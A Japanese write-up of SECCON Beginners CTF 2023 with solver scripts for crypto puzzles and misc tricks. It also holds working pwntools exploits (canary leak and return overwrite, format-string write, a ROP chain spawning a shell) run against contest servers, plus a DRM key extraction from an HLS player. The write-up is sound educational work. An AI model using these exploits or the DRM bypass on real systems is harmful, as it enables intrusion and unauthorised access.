0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

SECCON Beginners CTF 2023 writeup

Last updated at Posted at 2023-06-04

23/28問解いて9位。

score.beginners.seccon.jp_certificate.png

image.png

image.png

crypto

CoughingFox2 (beginner)

main.py
cipher = []

for i in range(len(flag)-1):
    c = ((flag[i] + flag[i+1]) ** 2 + i)
    cipher.append(c)

random.shuffle(cipher)

print(f"cipher = {cipher}")

隣り合う2文字を組み合わせて計算をしている。

フラグの先頭が ctf4b{ であることが分かっているので、そこから1文字ずつ総当たりしていけば良い。

solve.py
cipher = [4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758, 37257, 40830, 25293, 38845, 22503, 44535, 22210, 39632, 38046, 43687, 48413, 47525, 23718, 51567, 23115, 42461, 26272, 28933, 23726, 48845, 21924, 46225, 20488, 27579, 21636]

flag = [ord("c")]
for i in range(len(cipher)):
    for c in range(256):
        if (flag[i]+c)**2+i in cipher:
            flag += [c]
print("".join(map(chr, flag)))
$ python3 solve.py
ctf4b{hi_b3g1nner!g00d_1uck_4nd_h4ve_fun!!!}

ctf4b{hi_b3g1nner!g00d_1uck_4nd_h4ve_fun!!!}

Conquer (easy)

処理を逆算すれば良い。 length の値が分からないが、 cipher のビット長とだいたい同じだろうと何通りか試した。

solve.py
key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379

from Crypto.Util.number import *

def ROL(bits, N):
    for _ in range(N):
        bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
    return bits

length = cipher.bit_length()+3

for i in range(32):
    cipher ^= key
    key = ROL(key, length-pow(cipher, 3, length))
flag = cipher ^ key
print(long_to_bytes(flag).decode())

Choice (medium)

これ面白かった。

素数が3個のRSA暗号。 $s=pq+qr+rp$ と、任意の $a > n$ について $p^a+q^a+r^a$ が得られる。

$\phi(n) = (p-1)(q-1)(r-1) = n-s+p+q+r-1$ なので、$p+q+r$ を手に入れたい。

指数部分は周期が $\phi(n)$ なので、 $a \equiv 1 \mod \phi(n)$ となる大きな $a$ を指定すれば $p+q+r$ が返ってくるが……。いや、 $p+q+r$ は $\phi(n)$ を求めるために必要で……。

色々と式をこねくり回していて、次の式が成り立つことに気が付いた。$pqr\equiv0 \mod n$ なので、計算途中に $pqr$ が出てきたら消える。

\left(p^{n+2}+q^{n+2}+r^{n+2}\right)(p+q+r) = p^{n+3}+q^{n+3}+r^{n+3}+(q+r)p^{n+2}+(r+p)q^{n+2}+(p+q)r^{n+2} \\
\left(p^{n+1}+q^{n+1}+r^{n+1}\right)(pq+qr+rp) = (q+r)p^{n+2}+(r+p)q^{n+2}+(p+q)r^{n+2}

ここから、 $p+q+r$ が得られる。

solve.py
n = 18594550144547301333494330440727776321888361219176721067949296945328255249954628307014771206354387992788849094369885364310718228616250534865474996610051308966556663513723774648204138691124155758903715670449495386324341982424372348006314484048087221986823132438653329070617438308229162206886018749114388232554770882124576797234528168647721468061130240000009961736239289406130443086805586878797823927326251348506576180968621212384821330459417776031528751245144779238339037181035019403383704825809754775457158685619237158318168078973375749838072557762835300894929117815659839771328470141036945068417476122304376457803421537844804263578952666410904251530063550310671358146130161038676245076225153104653328579612568130178527397102201450325377763663195186232431356635649083119956424152442105158042604930244205655650846058478007779641925441638181268347095773707292578033077539161414302600982934164451130259061692713617965808525775706316991584688941677794868509981835117478617441665410620748661142428791580699137883153900909645948151807614712106654970231563776077145134141743451153674521494759420742831287853816783005018002982334781293226295634494939193866208956755695275599019914093070515911865097181250631279419933015363070006317691956094799311246182093778097496044243467400529695870747862884609047516877188834217674267413565462195834950315899190217647731281742246014695811019365437664168577053650189544051756367280332782926906642571915503305100402747283029037973541060616787881611915489676815297815488300693048486195522622840700659546607863989212042671317168336110056993734546348545229039485955806005503511573079093279143714008546998039690324458538616639264673123707871575906337313756795608368817932155368265068857021593264223477917381523546491114471418028659951483819379243259563026852723985354642576294216010525128965283026914124732795606749900735076833
e = 65537
c = 10342344907508164765757749919736793352421298410257707305337740282726570614361245233079594385172204228032038008591858829473590298640501612048679712881374460561447979225128106405099192546793981982904899317923409634997879975551981774052544506672989053390029245957379799097945980399159472017099743251162202689417924297496568358594561467023936207423370478335087967546820774935321601454985234148742581683153878329113809706037195132918847881648102665634946452769752004738678048613117527355401794136229705473310192028404361793214991751048535468030619280111134646927837387112430640912403183494723762710533123467822560454338674871509088078617215104155538321276306593153365689313507111715593208178750474531554078490621196839045999551808039533099200652245563619075253478968019566598334595510426814578251026928765863898664774174937080085258312573331457953954032167115597294784688185718000498198837840388823869869039770901112808401481842477934082132389734049421864722446630519821963832522757259715527389788819253085960619598701608415614363559776562905252352608574063449143712540440762622807964305913114301955104121946995740939383395500652249689345874020609138786867786314805547809787147762332634373065475892940322875352016448887691612736784481963472093559208443302511301148129686988612648036587744123151478358079878342235074480902690963990591450559650164661940324949539482132123667109842243030386135018643698795724632719766772255136235129735804849262376248978066582798887621824292957037633913779910202133655441441749570894499609343385415177847125861379981445766435166827219863591917023963573145138447219164203029541433395486348895940466848629638668409529745367441778934635514256250606203623457958839091652623581718481597181728520014497453438570461342930454656943186232641965098703860007216291599015775321140513837342980975049323871697499863284637432909825862229383
s = 2120634407522122525612964053723418142035008003255455641592096603456441760283345528336036431616648322472299059244408007538824000258439838164923407796210909174392749039689427657509527024321339368766677838230545546152048159591282948054638843277903718675625417096955477229483557817363652777867299775888794629564948319225630717435163745607264899467164669119381163336081234217611079146087415453718433920809714724927290349782340431924401594517556836279285779579582540079396131786945740751425128174277504540352669303736847346259677401249241222962966084053096514192634047880439503138321146600760173621421765552658327328684465349942072734704198471541667702290485272759550855086436727812318199946306573660114360541345535141316329963524548671128433222439611653145584650375144692530823811014234892066102319037508553519874861693312123282704274237023375383998670981458631283698478829787764623014405274064787856756691607537071194586111473847051717089009845180552903955935294535346554523933181032790185310551237189202850698277680542460128073462138788009846800208251823875295010557977414826644268230493594558427653290107215989409804313567576233643717506604654708332004251361738146594932146752494896835692533733480315459560645163269962949101443720683719

# r1 = p**(n+1) + q**(n+1) + r**(n+1)
r1 = 8475230529762897080111836076065747835257331542739985256572593922918200517221925341491692578345872947057152835146648546272533297116330954781383955759743167094986491303960134870957838587029650967353736628031353712447169998904631571155528107845746576692776861676607246188695963735075620030628069982529292983078892465308734363502130860392552082717212358972460723068856174699425148900852531128999613198509327693826281888634380982628898036282207317399545198805127148966285851039068443585665016093780012936211627166330253232074986726278826817793736583461332661429329888250431152302702120038593540159830899895380388149038762984802170759457266725911575535379328645548425049955481387918832396895743394162957623868295463513091118209733525713167695831535419398602373477572523878382630639812511199334270968641549114462199989206634180283315715699252356298941129490444760118374059042458971186594491611496476884675932861735800156132316171310776974107040460677984291949438352324165007948102877401302588208644370409882638354961737945163828244384468190031155982101025035298397498687914960133516448589373547780369924928156672783603093182392196740380878421891750449462132369627033029018320264200720263811775330145972090737994832602716179829141591972172344383445489143735356107799734805689910575889807149274681388183634448649466525513522351953281863113085271960152504266086449374610004135173540206524824359594426302590428508550262712574394016537941242003833697158307779294101334245444902568957285382692235546007510443922427548905721149886816081551410019446651961727506098871641536588459538909815865481311340214319885194889073734479712245897105783138627714629780417219971985351962940001687112372661134659104319646740886095489431533116971527474165954215608445962872060101006714465369499476798345884395131489536123107658011581670348471427313132001113451673985818587004304609
# r2 = p**(n+2) + q**(n+2) + r**(n+2)
r2 = 10543425029998132962181500239493477861434578008345153350076833599680238184134128502365629893017040533525777456862353943669497449965084013148167504381540855246240916973944529792826775815219705558931360087355735197764498370877908813276650067243560783170100985032612066805786953951208642312755193876191561681736022170157502785810011066568062259816140273925882721530770934660349547754468301482859330295537400797044228214431306185273230114164504117809623842785562905293483747226759634631046858910537736277692829302358325694636755495593467765357277994806806954900548425500983636169370397165815620807979938938436946191224814114625956294640356878027243641122075872592164275606307281570243093818251295379378426901642313076870540070792970205048387020545394398980694295743299016565837262055580203045998183944535034630718565935072832468965371994049537621095149404747388004718635460955835870138335805009138523211692986251994345499218161809507840485173571934933629260253315541403121466257691295916643281963927610148975027283054797279105512202801655858859508459492105349733390939524018010999268733889268671921118513901587904832702198450370539909070313024854940912125557826279196717929032054776798565825576056585792610159269169391389321365630285828349232513094326846736397706499620861417381690014318845799995647881167399603222175399914960948931556288257936225509799362791821095120383864607774422289019511811524098135411756721865164940159897796828119973521339313211641524307992390265301932872552871536422229261592414235729117424432211618129194657690061438493413463616775559354809573530679422684761923320597829693720614054427406676323665515988773387518144500557685713365051219609284360039980520489127571885668983615066083949961109942541483497374543413485758053303489011738166913583093421042667529143940374683492397875497703924259048139817563467332521743750980925106284
# r2 = p**(n+3) + q**(n+3) + r**(n+3)
r3 = 17263368669868749324631629945924347623452814484804302695429615347766269208862055297251399481097496792607151512106384491115241941375832475148707656805179243577507970470652709184322446635844049937991230875434035141953016706954228802899847598405025212267094783507558745889061000602591061766582039802059434295608552192068042663673562397201985948268771296604897029607599970689036605039319115148528468359269388337219168500817459741027589115043253888471423952720076508385933588034898911577107384535441193568468476975351858154045765051345142381213353006683333295463304178723362769210233546893363988082100423460763855727080604248831902904297897542025435948803206754953154500392986392412973550838111807278326817414863490354597800755348007337443942619195803813395558390996349460984837021559339130392386082430838890197823199906463316762475156291666396031434899152482396673523764845223537047318671493919007934112940175533401725440299557820435604420081803515371790890441032862974529733509700179668080253801470645869201682627121511054508901598322990557971956103642490695583017813326577872987591430557112912489765434609265022192018172908195507022860251884541930215759195624016558527280848165519643677329693845129594537062386008112662703622092333746546420077428433176510538990842933428604316798106327801988971335921456282268180599571651175054200763367906616535895913387522973634858641925315521847464788108792508191115661325958738583768416457819280466154461428023951937851388587990733129452457848684788025460620190795543640320890017452640015752678886643019251839144875505059385749623568573418763579233817052968087418241049258695510976736239291218195078969448908213646145897424552026715957589546814605389799595482038262986011682626413957838958384755088390444975643847329537966565065429785844482073955764737030619944419743134943434856457455894840818686198670489448321435

# x = (p**(n+1) + q**(n+1) + r**(n+1)) * (p*q + q*r + r*p)
#   = (q+r)*p**(n+2) + (r+p)*q**(n+2) + (p+q)*r**(n+2)
x = r1*s%n
# y = p**(n+3) + q**(n+3) + r**(n+3) + (q+r)*p**(n+2) + (r+p)*q**(n+2) + (p+q)*r**(n+2)
#   = (p**(n+2) + q**(n+2) + r**(n+2)) * (p + q + r)
y = (r3+x)%n
# z = p + q + r
z = y*pow(r2, -1, n)%n

p = n-s+z-1
d = pow(e, -1, p)
f = pow(c, d, n)

from Crypto.Util.number import *
print(long_to_bytes(f).decode())
$ python3 solve.py
ctf4b{E4sy_s7mmetr1c_polyn0mial}

ctf4b{E4sy_s7mmetr1c_polyn0mial}

switchable_cat (medium)

problem.py
 :
class LFSR:
 :

lfsr = LFSR()

neko = urandom(ord("🐈")*ord("🐈")*ord("🐈"))
key = lfsr.gen_randbits(len(neko) * 8)
cipher = bytes_to_long(neko) ^ key

#   📄🐈💨💨💨💨
# ╭─^────────╮
# │  cipher  │
# ╰──────────╯

key = lfsr.gen_randbits(len(flag) * 8)
cipher = bytes_to_long(flag) ^ key

print("seed =", seed)
print("cipher =", cipher)

seed が分かっているのだから、 flag を暗号化するときの key の値も分かるよね? 動かしてみるか → ord("🐈")*ord("🐈")*ord("🐈") の値が大きすぎて、メモリ不足のエラーで落ちた。

環境によって値が変わったりするのか……? と悩んだ。作問者も実際に動かしてはおらず、莫大なメモリがあるマシンで長時間動かしたと仮定して出力を与えるから復号しろという問題か。 ord("🐈")*ord("🐈")*ord("🐈")*8=16780361924612096 世代後の線形帰還シフトレジスタ(LFSR)の状態が求められれば良い。

線形帰還シフトレジスタの状態がどのように変化するかは行列で表現できる。行列の累乗はバイナリ法で高速化できる。競技プログラミングで良く見るやつ。この問題は1回ごとに状態の変化方法が切り替わるが、特に支障は無い。

solve.py
def mul_m(M1, M2):
    R = [[0]*128 for _ in range(128)]
    for y in range(128):
        for x in range(128):
            for i in range(128):
                R[y][x] ^= M1[y][i]&M2[i][x]
    return R

def mul_v(M, V):
    R = [0]*128
    for y in range(128):
        for x in range(128):
            R[y] ^= M[y][x]&V[x]
    return R

def pow_m(M, n):
    R = [[0]*128 for _ in range(128)]
    for i in range(128):
        R[i][i] = 1
    while n>0:
        if n%2!=0:
            R = mul_m(R, M)
        M = mul_m(M, M)
        n //= 2
    return R

M1 = [[0]*128 for _ in range(128)]
for i in range(127):
    M1[i][i+1] = 1
for i in [0, 2, 4, 6, 9]:
    M1[127][i] = 1

M2 = [[0]*128 for _ in range(128)]
for i in range(127):
    M2[i][i+1] = 1
for i in [1, 5, 7, 8]:
    M2[127][i] = 1

n = ord("🐈")*ord("🐈")*ord("🐈")*8

M = pow_m(mul_m(M2, M1), n//2)

seed = 219857298424504813337494024829602082766
S = [seed>>i&1 for i in range(128)]
S = mul_v(M, S)
seed = sum(S[i]<<i for i in range(128))

class LFSR:
    def __init__(self):
        self.bits = 128
        self.rr = seed
        self.switch = 0
    def next(self):
        r = self.rr
        if self.switch == 0:
            b = ((r >> 0) & 1) ^ \
                ((r >> 2) & 1) ^ \
                ((r >> 4) & 1) ^ \
                ((r >> 6) & 1) ^ \
                ((r >> 9) & 1)
        if self.switch == 1:
            b = ((r >> 1) & 1) ^ \
                ((r >> 5) & 1) ^ \
                ((r >> 7) & 1) ^ \
                ((r >> 8) & 1)
        r = (r >> 1) + (b << (self.bits - 1))
        self.rr = r
        self.switch = 1 - self.switch
        return r & 1
    
    def gen_randbits(self, bits):
        key = 0
        for i in range(bits):
            key <<= 1
            key += self.next()
        return key

from Crypto.Util.number import *

cipher = 38366804914662571886103192955255674055487701488717997084670307464411166461113108822142059

lfsr = LFSR()
key = lfsr.gen_randbits((cipher.bit_length()+7)//8*8)
flag = cipher^key
print(long_to_bytes(flag).decode())
$ python3 solve.py
ctf4b{DidTheCatWantToCatDevRandom???}

ctf4b{DidTheCatWantToCatDevRandom???}

pwnable

poem (beginner)

src.c
#include <stdio.h>
#include <unistd.h>

char *flag = "ctf4b{***CENSORED***}";
char *poem[] = {
    "In the depths of silence, the universe speaks.",
    "Raindrops dance on windows, nature's lullaby.",
    "Time weaves stories with the threads of existence.",
    "Hearts entwined, two souls become one symphony.",
    "A single candle's glow can conquer the darkest room.",
};

int main() {
  int n;
  printf("Number[0-4]: ");
  scanf("%d", &n);
  if (n < 5) {
    printf("%s\n", poem[n]);
  }
  return 0;
}
 :

負値のチェックが抜けている。適当に試したら-4が正解だった。

$ nc poem.beginners.seccon.games 9000
Number[0-4]: -4
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}

ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}

rewriter2 (easy)

src.c
 :
#define BUF_SIZE 0x20
#define READ_SIZE 0x100

void __show_stack(void *stack);

int main() {
  char buf[BUF_SIZE];
  __show_stack(buf);

  printf("What's your name? ");
  read(0, buf, READ_SIZE);
  printf("Hello, %s\n", buf);

  __show_stack(buf);

  printf("How old are you? ");
  read(0, buf, READ_SIZE);
  puts("Thank you!");

  __show_stack(buf);
  return 0;
}
 :

Canaryあり。 __show_stack はcanaryの値は表示されない。

入力が0終端されていないので、canaryの最初のNUL文字を潰せば、 "Hello, ..." でcanaryが出力される。Canaryの最初が 00 なのは、バッファオーバーフローが無くてNUL終端がされていない場合に、canaryのリークを防ぐためなのだろう。

attack.py
from pwn import *

#context.log_level = "debug"
context.arch = "amd64"

s = remote("rewriter2.beginners.seccon.games", 9001)

s.sendafter(b"What's your name? ", b"a"*0x29)
s.recvuntil(b"a"*0x29)
canary = s.recv(7)
s.sendafter(b"How old are you? ",
    b"a"*0x28 +
    b"\0" + canary +
    pack(0) +
    pack(0x4012c2+5)
)
s.interactive()
$ python3 attack.py
[+] Opening connection to rewriter2.beginners.seccon.games on port 9001: Done
[*] Switching to interactive mode
Thank you!

 [Addr]             | [Value]
====================+===================
 0x00007ffe27eb7ff0 | 0x6161616161616161  <- buf
 0x00007ffe27eb7ff8 | 0x6161616161616161
 0x00007ffe27eb8000 | 0x6161616161616161
 0x00007ffe27eb8008 | 0x6161616161616161
 0x00007ffe27eb8010 | 0x6161616161616161
 0x00007ffe27eb8018 | xxxxx hidden xxxxx  <- canary
 0x00007ffe27eb8020 | 0x0000000000000000  <- saved rbp
 0x00007ffe27eb8028 | 0x00000000004012c7  <- saved ret addr
 0x00007ffe27eb8030 | 0x00007fa70c501620
 0x00007ffe27eb8038 | 0x00007ffe27eb8118

Congratulations!
$ ls -al
total 44
drwxr-xr-x 1 root pwn   4096 Jun  2 03:45 .
drwxr-xr-x 1 root root  4096 Jun  2 03:45 ..
-r-xr-x--- 1 root pwn  16944 Jun  2 03:40 chall
-r--r----- 1 root pwn     33 Jun  2 03:39 flag.txt
-r-xr-x--- 1 root pwn     34 Jun  2 03:40 redir.sh
$ cat flag.txt
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}
$

ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}

Forgot_Some_Exploit (easy)

src.c
 :
void win() {
    FILE *f = fopen("flag.txt", "r");
    if (!f)
        err(1, "Flag file not found...\n");
    for (char c = fgetc(f); c != EOF; c = fgetc(f))
        putchar(c);
}

void echo() {
    char buf[BUFSIZE];
    buf[read(0, buf, BUFSIZE-1)] = 0;
    printf(buf);
    buf[read(0, buf, BUFSIZE-1)] = 0;
    printf(buf);
}
 :

書式文字列攻撃。1回目でスタックの値をリークする。2回目で、リターンアドレスのアドレスを入力に含め、そこを指すような %x$n でリターンアドレスを win に書き換える。

バイナリのアドレスもリークすれば win のアドレスが分かるけど、書式文字列攻撃で何バイトも書き換えるのは面倒だし、下位2バイトだけ書き換えてASLRによる残り4ビットは複数回攻撃すれば良いだろう。 win がシェルの起動ではなくフラグの出力なのは、複数回の攻撃がやりやすいようにという配慮なのかもしれない。

$ readelf -s ./chall | grep win
    39: 00000000000011c9   122 FUNC    GLOBAL DEFAULT   15 win
attack.py
from pwn import *

#context.log_level = "debug"
context.arch = "amd64"

s = remote("forgot-some-exploit.beginners.seccon.games", 9002)
#s = remote("192.168.0.9", 8888)

s.send(b"%40$llx\n")
stack = int(s.recvline().decode(), 16)

s.send(
  b"%458c%8$hn !!!!".ljust(16, b"\0") +
  pack(stack-8)
)

s.recvuntil(b"!!!!")
print(s.recv())
$ for i in $(seq 32); do python3 attack.py; done
[+] Opening connection to forgot-some-exploit.beginners.seccon.games on port 9002: Done
b'Segmentation fault\n'
[*] Closed connection to forgot-some-exploit.beginners.seccon.games port 9002
 :
[+] Opening connection to forgot-some-exploit.beginners.seccon.games on port 9002: Done
b'ctf4b{4ny_w4y_y0u_w4nt_1t}\n'
[*] Closed connection to forgot-some-exploit.beginners.seccon.games port 9002
 :

ctf4b{4ny_w4y_y0u_w4nt_1t}

Elementary_ROP (medium)

スタックやレジスタの状態を想像しながらやってみよう

src.c
 :
void gadget() {
    asm("pop %rdi; ret");
}

int main() {
    char buf[0x20];
    printf("content: ");
    gets(buf);
    return 0;
}
 :

特にひねりはないので、やるだけ。1回目は printf(printf); main() を実行し、2回目はリークしたlibcのアドレスを使って system("/bin/sh") を実行する。Pwntoolsの ROP を使うと楽。スタックのアドレスが16バイトに揃っていないと落ちることがあるので、空の ret を挟んで調整。

attack.py
from pwn import *

# context.log_level = "debug"

s = remote("elementary-rop.beginners.seccon.games", 9003)

binary = ELF("chall")
context.binary = binary

ret = 0x401192
rop = ROP(binary)
rop.raw(ret)
rop.printf(binary.got.printf)
rop.raw(ret)
rop.main()
print(rop.dump())

s.sendlineafter(b"content: ", b"x"*0x28+rop.chain())

printf = unpack(s.recv(6).ljust(8, b"\0"))

libc = ELF("libc.so.6")
libc.address = printf - libc.symbols.printf

rop = ROP(libc)
rop.raw(ret)
rop.system(next(libc.search(b"/bin/sh")))
print(rop.dump())

s.sendlineafter(b"content: ", b"x"*0x28+rop.chain())

s.interactive()
$ python3 attack.py
[+] Opening connection to elementary-rop.beginners.seccon.games on port 9003: Done
[*] '/mnt/d/documents/ctf/secconbeginners2023/Elementary_ROP/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 6 cached gadgets for 'chall'
0x0000:         0x401192
0x0008:         0x40115a pop rdi; ret
0x0010:         0x403fd0 [arg0] rdi = got.printf
0x0018:         0x401030 printf
0x0020:         0x401192
0x0028:         0x40115f main()
[*] '/mnt/d/documents/ctf/secconbeginners2023/Elementary_ROP/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 218 cached gadgets for 'libc.so.6'
0x0000:         0x401192
0x0008:   0x7f95c17863e5 pop rdi; ret
0x0010:   0x7f95c1934698 [arg0] rdi = 140281174509208
0x0018:   0x7f95c17acd60 system
[*] Switching to interactive mode
$ ls -al
total 40
drwxr-xr-x 1 root pwn   4096 Jun  2 03:33 .
drwxr-xr-x 1 root root  4096 Jun  2 03:33 ..
-r-xr-x--- 1 root pwn  15984 Jun  2 03:28 chall
-r--r----- 1 root pwn     42 Jun  2 03:26 flag.txt
-r-xr-x--- 1 root pwn     34 Jun  2 03:27 redir.sh
$ cat flag.txt
ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}
$

ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}

misc

YARO (beginner)

YARAのルールを入力できて、カレントディレクトリに対してスキャンをするプログラム。カレントディレクトリにはフラグがあるので、1文字ずつ総当たりすれば良い。

Discordで作問者が「複数ルールが書けるのだから、1回の試行で1文字特定できるよ」と言っていた。なるほどね。

solve.py
from pwn import *

context.log_level = "error"

flag = "ctf4b{"
while True:
    for c in "01234567890ABCDEFGHIJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_}":
        s = remote("yaro.beginners.seccon.games", 5003)
        s.sendlineafter(
            b"rule:\n",
            f"""rule flag {{
    strings:
        $flag = /^{flag+c}/
    condition:
        $flag
}}

""".encode())
        if "matched" in s.recvall().decode():
            flag += c
            break
    print(flag)

    if flag[-1]=="}":
        break
$ python3 solve.py
ctf4b{Y
ctf4b{Y3
ctf4b{Y3t
 :
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}

ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}

polyglot4b (beginner)

polyglot4b.py
 :
try:
    f_type = subprocess.run(
        ["file", "-bkr", f"tmp/{f_id}/{f_id}"], capture_output=True
    ).stdout.decode()
except:
    print("ERROR: Failed to execute command.")
finally:
    shutil.rmtree(f"tmp/{f_id}")

types = {"JPG": False, "PNG": False, "GIF": False, "TXT": False}
if "JPEG" in f_type:
    types["JPG"] = True
if "PNG" in f_type:
    types["PNG"] = True
if "GIF" in f_type:
    types["GIF"] = True
if "ASCII" in f_type:
    types["TXT"] = True

for k, v in types.items():
    v = "🟩" if v else "🟥"
    print(f"| {k}: {v} ", end="")
print("|")

if all(types.values()):
    print("FLAG: ctf4b{****REDACTED****}")
else:
    print("FLAG: No! File mashimashi!!")

file コマンドは -k オプションで複数の候補を複数出力してくれるらしい。へー。これで、Jpeg、PNG、GIF、Textと解釈されるようなファイルを作れという問題。

サンプルファイルを読み込ませるとこうなる。

$ file -bkr sample/sushi.jpg
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3
- data

description=CTF4B :thinking:  ここにキーワードを書けば良いな。Photoshopで編集できた。

$ file -bkr sushi.jpg
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=15, height=790, bps=0, PhotometricIntepretation=RGB, description=JPEG PNG GIF ASCII, orientation=upper-left, width=1404], baseline, precision 8, 1404x790, components 3
- data
$ cat sushi.jpg - | nc polyglot4b.beginners.seccon.games 31416
 ____       _             _       _     _____    _ _ _
|  _ \ ___ | |_   _  __ _| | ___ | |_  | ____|__| (_) |_ ___  _ __
| |_) / _ \| | | | |/ _` | |/ _ \| __| |  _| / _` | | __/ _ \| '__|
|  __/ (_) | | |_| | (_| | | (_) | |_  | |__| (_| | | || (_) | |
|_|   \___/|_|\__, |\__, |_|\___/ \__| |_____\__,_|_|\__\___/|_|
              |___/ |___/
--------------------------------------------------------------------
>> --------------------------------------------------------------------
| JPG: 🟩 | PNG: 🟩 | GIF: 🟩 | TXT: 🟩 |
FLAG: ctf4b{y0u_h4v3_fully_und3r5700d_7h15_p0ly6l07}

FLAG: ctf4b{y0u_h4v3_fully_und3r5700d_7h15_p0ly6l07}

shaXXX (easy)

フラグのSHA256, 384, 512ハッシュを出力するプログラム。

main.py
import os
import sys
import shutil
import hashlib
from flag import flag


def initialization():
    if os.path.exists("./flags"):
        shutil.rmtree("./flags")
    os.mkdir("./flags")

    def write_hash(hash, bit):
        with open(f"./flags/sha{bit}.txt", "w") as f:
            f.write(hash)

    sha256 = hashlib.sha256(flag).hexdigest()
    write_hash(sha256, "256")

    sha384 = hashlib.sha384(flag).hexdigest()
    write_hash(sha384, "384")

    sha512 = hashlib.sha512(flag).hexdigest()
    write_hash(sha512, "512")


def get_full_path(file_path: str):
    full_path = os.path.join(os.getcwd(), file_path)
    return os.path.normpath(full_path)


def check1(file_path: str):
    program_root = os.getcwd()
    dirty_path = get_full_path(file_path)
    return dirty_path.startswith(program_root)


def check2(file_path: str):
    if os.path.basename(file_path) == "flag.py":
        return False
    return True


if __name__ == "__main__":
    initialization()
    print(sys.version)
    file_path = input("Input your salt file name(default=./flags/sha256.txt):")
    if file_path == "":
        file_path = "./flags/sha256.txt"
    if not check1(file_path) or not check2(file_path):
        print("No Hack!!! Your file path is not allowed.")
        exit()
    try:
        with open(file_path, "rb") as f:
            hash = f.read()
        print(f"{hash=}")
    except:
        print("No Hack!!!")

ディレクトリトラバーサルはできず、flag.py は読めない。

__pycache__。 ここにコンパイルされたflag.pyが入っている。

$ nc shaxxx.beginners.seccon.games 25612
3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924]
Input your salt file name(default=./flags/sha256.txt):__pycache__/flag.cpython-311.pyc
hash=b'\xa7\r\r\n\x00\x00\x00\x00>=wd<\x00\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf3\n\x00\x00\x00\x97\x00d\x00Z\x00d\x01S\x00)\x02s\x1b\x00\x00\x00ctf4b{c4ch3_15_0ur_fr13nd!}N)\x01\xda\x04flag\xa9\x00\xf3\x00\x00\x00\x00\xfa\x18/home/ctf/shaXXX/flag.py\xfa\x08<module>r\x06\x00\x00\x00\x01\x00\x00\x00s\x0e\x00\x00\x00\xf0\x03\x01\x01\x01\xe0\x07%\x80\x04\x80\x04\x80\x04r\x04\x00\x00\x00'

ctf4b{c4ch3_15_0ur_fr13nd!}

drmsaw (medium)

DRMSAW Movie Playerは著作権を重視したセキュアな動画再生プラットフォームです。もしあなたが動画をダウンロードできたら、フラグと交換しましょう。

HLSの動画を再生している。

HLSはこのようになっている。

video.m3u8
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:3
#EXT-X-MEDIA-SEQUENCE:0
#EXT-X-KEY:METHOD=AES-128,URI="video://hello_where_is_my_key?",IV=0x00000000000000000000000000000000
#EXTINF:3.000000,
video0.ts
#EXTINF:3.000000,
video1.ts
#EXTINF:0.977622,
video2.ts
#EXT-X-ENDLIST

M3U8って元はプレイリストを作るためのフォーマットだが、動画やライブの配信用に広く使われている。

動画はファイルを細切れにする必要があるし、ライブはM3U8ファイルを高頻度で書き換えるし、なぜプレイリスト用のフォーマットが配信のデファクトスタンダードになっているのか……。回線状況に応じて複数のビットレートを切り替える仕組みを実装したプレイヤーがあったのが良かったのかなぁ。

HLSには動画ファイルを暗号化する仕様がある。 #EXT-X-KEY に書かれたURLから取得できる鍵で各動画ファイルを復号する。これに何の意味があるのかと思うかもしれないが、CDNなど組み合わせたときに役に立つのだろう。暗号化した動画ファイルを認証が無いCDNで配布し、 #EXT-X-KEY に指定するURLを自前のサーバーにして、そこで認証を掛けるということができる。

この問題では、鍵を取得するところをWASMで難読化している。

まあ、 hls.js が再生できているのだから、hls.jsは鍵を知っているだろう。

 :
        if (typeof Hls !== "undefined" && Hls.isSupported()) {
          const hls = new Hls({ loader: CustomLoader });
          const streamUrl = "/public/videos/video.m3u8";
          hls.loadSource(streamUrl);
          hls.on(Hls.Events.MANIFEST_PARSED, () => {
            hls.attachMedia(video);
            video.addEventListener("canplay", () => {
              console.info("The video can play!");
            });
          });
 :

この console.info("The video can play!"); 部分にブレークポイントを設定して探したら、 hls.streamController.keyLoader.keyUriToKeyInfo["https://drmsaw.beginners.seccon.games/enc.key"].decryptdata.key に鍵が入っていた。

Uint8Array(16) [99, 9, 61, 110, 94, 114, 119, 194, 42, 163, 63, 8, 97, 114, 131, 41, buffer: ArrayBuffer(16), byteLength: 16, byteOffset: 0, length: 16, Symbol(Symbol.toStringTag): 'Uint8Array']

この鍵をenc2.keyとして保存。m3u8と各動画ファイルをダウンロードして、m3u8を次のように書き換える。

video2.m3u8
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:3
#EXT-X-MEDIA-SEQUENCE:0
#EXT-X-KEY:METHOD=AES-128,URI="enc2.key",IV=0x00000000000000000000000000000000
#EXTINF:3.000000,
video0.ts
#EXTINF:3.000000,
video1.ts
#EXTINF:0.977622,
video2.ts
#EXT-X-ENDLIST

